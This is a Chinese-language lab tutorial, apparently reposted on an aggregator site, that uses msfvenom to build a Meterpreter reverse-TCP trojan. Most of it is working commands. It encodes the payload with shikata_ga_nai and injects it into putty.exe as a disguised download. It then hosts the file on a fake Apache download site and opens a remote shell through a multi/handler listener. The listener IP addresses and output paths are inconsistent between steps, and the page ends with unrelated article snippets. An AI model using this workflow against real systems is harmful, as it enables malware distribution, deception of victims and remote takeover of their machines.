Msfvenom生成木马实验

E025-渗透测试常用工具-使用msfvenom生成木马进行渗透测试

第一步,打开网络拓扑,点击启动选项,启动实验虚拟机

第二步,使用ifconfig和ipconfig命令分别获取渗透机和靶机的IP地址,使用ping命令进行网络连通性测试,确保网络可达

渗透机ip地址172.16.1.10

靶机ip地址172.16.1.12

 第三步,是在使用meterpreter攻击载荷模块之前,需要先制定渗透攻击模块,我们以ms08_067漏洞为例进行渗透测试,在进行实验之前首先使用命令msfvenom –h 来查看msfvenom参数的详解 msfvenom生成payload的常见格式为以下四种类型

简单型:msfvenom –p <payload> <payload options> -f <format> -o <path>

编码处理型:msfvenom -p <payload> <payload options> -a <arch> --platform <platform> -e <encoder option> -i <encoder times> -b <bad-chars> -n <nopsled> -f <format> -o <path>

注入exe型+编码:msfvenom -p <payload> <payload options> -a <arch> --plateform <platform> -e <encoder option> -i <encoder times> -x <template> -k <keep> -f <format> -o <path>

拼接型:msfvenom -c <shellcode> -p <payload> <payload options> -a <arch> --platform <platform> -e <encoder option> -i <encoder times> -f <format> -o <path>

其中-o输出的参数可以用“>”号代替,-f指定格式参数可以用单个大写字母代替: 

例如:X 代表 -f exe,还有其他的案例:[H]arp、[P]erl、Rub[Y]、[R]aw、[J]s、e[X]e、[D]ll、[V]BA、[W]ar、Pytho[N]

第四步,使用命令msfvenom –l payloads查看msf中所有可用载荷(payload),根据操作系统可分为windows/linux/osx/andriod,根据编程语言可以分为python/php等

下面列出的载荷信息是所有可以使用的攻击载荷

其中最为常见的paylaod为windows平台下的,将近215个

 第五步,使用命令msfvenom –l encoders查看一下编码方式,其中excellent级的编码方式共有两个,分别为 cmd/powershell_base64、x86/shikata_ga_nai

第六步,使用命令msfvenom –l nops 来查看nops(空字段)选项 第七步,使用命令msfvenom –-help-platforms查看当前支持的平台

然后使用命令msfvenom –-help-formats来查看可以生产的格式例如:本次使用msfvenom生成简单的木马,使用命令msfvenom-p windows/meterpreter/reverse_tcp LHOST=172.16.1.12 LPORT=8088 -f exe -o payload.exe生产反弹回meterpreter会话的payload

使用命令msfvenom -p windows/meterpreter/reverse_tcp --payload-options来查看其参数 这里需要注意两点:

1,系统架构: 
Arch:x86  是指生成的payload只能在32位系统运行 
Arch:x86_64 是指模块同时兼容32位操作系统和64位操作系统 
Arch:x64  是指生成的payload只能在64位系统运行 

注意:有的payload的选项为多个:Arch:x86_64,x64 
这里你就需要-a参数选择一个系统架构。 
2,同时注意一下:size(大小),rank(等级),exitfunc(退出方法)

这里需要注意的是软件的架构/payload的架构/目标系统的架构三者一定要统一(x86/x86_64/x64),否则会出错。

第八步,下面我们进入实战命令的使用

使用命令msfvenom –p windows/meterpreter/reverse_tcp LHOST=192.168.1.10

LPORT=8834 -a x86 --platform windows -e x86/shikata_ga_nai -i 3 -x

/root/Desktop /putty.exe -k -f exe -o /tmp/putty_evil.exe生成伪装木马,将payload

注入到putty中,并编码:

-platform windows 指定payload兼容的平台为windows

-a 指定arch文件架构为x86

-p windows/meterpreter/reverse_tcp LHOST=172.16.1.14 LPORT=8834  指定

payload和payload的参数

-x /root/桌面/putty.exe执行要绑定的软件

-k从原始的注文件中分离出来,单独创建一个进程

-f exe指定输出格式

-o/var/www/html/putty.exe指定输出路径

用归档管理器打开,没有出错,说明可以执行:

 第九步,我们伪造一个下载站点,将文件putty_evil.exe复制到/var/www/html目录下

使用命令msfconsole启动metasploit渗透测试平台 第九步:使用命令use exploit/multi/handler 启动连接后门程序,然后使用命令show options查看一下模块的基本配置

使用命令set payload windows/meterpreter/reverse_tcp,调用监听模块 使用命令show options查看需要设置的配置信息

使用命令set LHOST 172.16.1.10,set LPORT 8834设置渗透机监听的端口 

然后使用命令run –j开启后台监听 

第十步,然后使用命令service apache2 start启动apache服务器 然后这里我们直接使用客户端机器打开http://172.16.1.10下载软件putty.exe

将文件保存至桌面

 

客户端打开putty.exe文件

 

发现meterpreter中的主机上线 使用命令session –i 切换会话,然后使用命令shell调用windows的shell终端

实验结束,关闭虚拟机。 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2981321.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

关于Java的三个小题目(很容易错!)

第一题 char运算后的数据类型 最后输出的是什么类型&#xff1f; 答案&#xff1a;int char与byte的联系和区别 char是无符号型的&#xff0c;能够表示一个整数&#xff0c;不能表示负数&#xff08;0~65535&#xff09;&#xff1b;而byte是有符号型的&#xff0c;能够表示…

航空业微服务架构中台的构建与实践

随着航空业的快速发展&#xff0c;航空公司需要面对更加复杂的业务环境和客户需求。在这样的背景下&#xff0c;构建一个稳健、高效的微服务架构中台成为了航空公司的当务之急。本文将探讨航空业微服务架构中台的设计理念、关键技术以及实践经验&#xff0c;帮助航空公司构建具…

Jina Reranker 新模型发布,更小、更快、更便宜!

在传统文本搜索技术已经相对成熟的背景下&#xff0c;如何进一步提高搜索的效率和速度成为了新的追求目标。应对这一挑战&#xff0c;Jina Reranker 模型系列推出了两款针对性能调优的新模型&#xff1a;jina-reranker-v1-turbo-en 和 jina-reranker-v1-tiny-en&#xff0c;它们…

矽塔SA6288Q栅极驱动器,可替代峰绍FD6288Q

SA6288 是一款集成了三个独立半桥栅极驱动器&#xff0c;特别适合于三相电机应用中高速功率MOSFET 和 IGBT 的栅极驱动。可在高达250V 电压下工作。 SA6288内置 VCC 和 VBS 欠压&#xff08; UVLO &#xff09;保护功能&#xff0c;防止功率管在过低的电压下工作&#xff0c;…

赛劲SEJINIGB零背隙滚轮齿条齿圈产品助力高精度运动平台

在高度精密化的工业时代&#xff0c;传统齿轮齿条系统所面临的背隙、摩擦粉尘、润滑等问题愈发凸显&#xff0c;这些问题不仅限制了设备的精度和稳定性&#xff0c;还对生产效率和产品质量造成严重影响。为此&#xff0c;赛劲SEJINIGB经过长期研发和技术积累&#xff0c;推出了…

springboot论文格式系统

采用springbootmysqlhtmlvue技术 详细运行视频地址B站运行效果视频地址 &#xff08;1&#xff09;系统具备用户管理功能&#xff0c;包括用户注册、登录、权限管理等功能。 &#xff08;2&#xff09;系统具备格式规范管理功能&#xff0c;包括格式规范创建、编辑、删除等操…

两天速通阿里

感觉这一周太梦幻了&#xff0c;就像一个梦&#xff0c;很不真实~~~ 感觉这个暑期&#xff0c;我的运气占了99成&#xff0c;实力只有百分之一 4.15上午 腾讯csig 腾讯云部门&#xff0c;面完秒进入复试状态 4.16下午 美团优选供应链部门&#xff0c;4.18上午发二面 4.17晚上 阿…

2款摄像头录像软件,满足你的多种要求!

“有没有一款能够录制摄像头视频的软件呀&#xff1f;我计划录制一些生活小窍门和教学视频&#xff0c;想要能清楚地拍到自己的操作过程。但找了好多软件&#xff0c;都不太满意&#xff0c;真心希望大家能给我推荐几款好用的摄像头录像软件&#xff0c;最好能简单易上手的&…

vue2项目升级到vue3经历分享

依据vue官方文档&#xff0c;vue2在2023年12月31日终止维护。因此决定将原来的岁月云记账升级到vue3&#xff0c;预计工作量有点大&#xff0c;于是想着把过程记录下来。 原系统使用的技术栈 "dependencies": {"axios": "^0.21.1","babel-…

js鼠标经过就增加一个open 进行展开 遍历数组,为每个id对应的元素添加事件监听器

js鼠标经过就增加一个open 进行展开 遍历数组&#xff0c;为每个id对应的元素添加事件监听器 {% javascript %}const ids [Details-HeaderMenu-aaaaaa2,Details-HeaderMenu-aaaaaa6, Details-HeaderMenu-aaaaaa4,Details-HeaderSubMenu-1,Details-HeaderSubMenu-2,Details-H…

python基础知识点(蓝桥杯python科目个人复习计划66)

今日复习内容&#xff1a;算法双周赛 第一题&#xff1a;疯狂星期六 题目描述&#xff1a; 麦肯鸡是一家名声在外的汉堡店&#xff0c;他们最近推出了一份名为vivo50的套餐&#xff0c;只需要在门口大声喊出vivo50&#xff0c;就可以获得这个套餐。 现在&#xff0c;请你打…

W801学习笔记十二:掌机进阶V3版本之驱动(PSRAM/SD卡)

本次升级添加了两个模块&#xff0c;现在要把他们驱动起来。 一&#xff1a;PSRAM 使用SDK自带的驱动&#xff0c;我们只需要写一个初始化函数&#xff0c;并在其中添加一些自检代码。 void psram_heap_init(){wm_psram_config(0);//实际使用的psram管脚选择0或者1&#xff…

程序员过了35岁没人要?“这行越老越香”

程序员35岁失业&#xff1f;参加完OceanBase开发者大会&#xff0c;我又悟了&#xff01; 周六参加了OceanBase2024 开发者大会的现场&#xff0c;来之前我其实挺忐忑的&#xff0c;我觉得一个数据库产品的发布会&#xff0c;能有什么新鲜的东西&#xff1f; 踏入酒店的那一刻&…

HORROR SYSTEM

HORROR SYSTEM是一个创新的工具包,允许开发者在Unity3D中创建独特的原创恐怖游戏。 HORROR SYSTEM是一款强大而灵活的工具,旨在基于Unity3D引擎创建沉浸式第三人称恐怖游戏。 这项资产易于使用且直观,可以让任何经验水平的开发人员将他们的想法付诸实践,创造出高质量、充满…

Git 保姆级教程(一):Git 基础

一、获取 Git 仓库 通常有两种获取 Git 项目仓库的方式&#xff1a; 1. 将尚未进行版本控制的本地目录转换为 Git 仓库&#xff1b; 2. 从其它服务器克隆 一个已存在的 Git 仓库。 两种方式都会在你的本地机器上得到一个工作就绪的 Git 仓库。 1.1 git init&#xff08;本地…

Linux的学习之路:19、进程信号(1)

摘要 今天这张说一下信号的一部分知识 目录 摘要 一、信号 1、生活角度的信号 2、技术应用角度的信号 3、注意 4、用kill -l命令可以察看系统定义的信号列表 5、信号处理常见方式概览 二、产生信号 1、通过终端按键产生信号 2、调用系统函数向进程发信号 3、由软件…

JAVA toString方法详解

hi&#xff0c;我是程序员王也&#xff0c;一个资深Java开发工程师&#xff0c;平时十分热衷于技术副业变现和各种搞钱项目的程序员~&#xff0c;如果你也是&#xff0c;可以一起交流交流。 今天我们来聊聊Java中toString方法~ toString方法的定义 在Java中&#xff0c;toStri…

boa.conf配置详解

boa的配置文件路径&#xff1a;/etc/boa/boa.conf Port 80 # 监听的端口号&#xff0c;缺省值是80 若80被占用&#xff0c;可修改监听端口为其他未占用端口&#xff08;如&#xff1a;88&#xff09; Listen 192.68.0.5 # 绑定调用的IP地址&#xff0c;一般注释掉&#xff0c;…

人工智能热度攀升市场广阔 业内:人机协同将成发展主流

以下文章来源&#xff1a;央广网 今年以来&#xff0c;人工智能产业热度持续攀升。文生视频软件Sora、文生音乐软件Suno等人工智能应用不断涌现&#xff0c;带给人们冲击的同时&#xff0c;也在影响着千行百业。本报今起推出“聚焦人工智能发展”系列报道&#xff0c;围绕人工智…

【JAVA进阶篇教学】第六篇:Java线程中状态

博主打算从0-1讲解下java进阶篇教学&#xff0c;今天教学第六篇&#xff1a;Java线程中状态。 理解并掌握线程的休眠、停止和挂起等操作是多线程编程中的重要内容。下面我将详细说明这些操作&#xff0c;并提供相应的代码案例。 目录 一、线程休眠&#xff08;Thread Slee…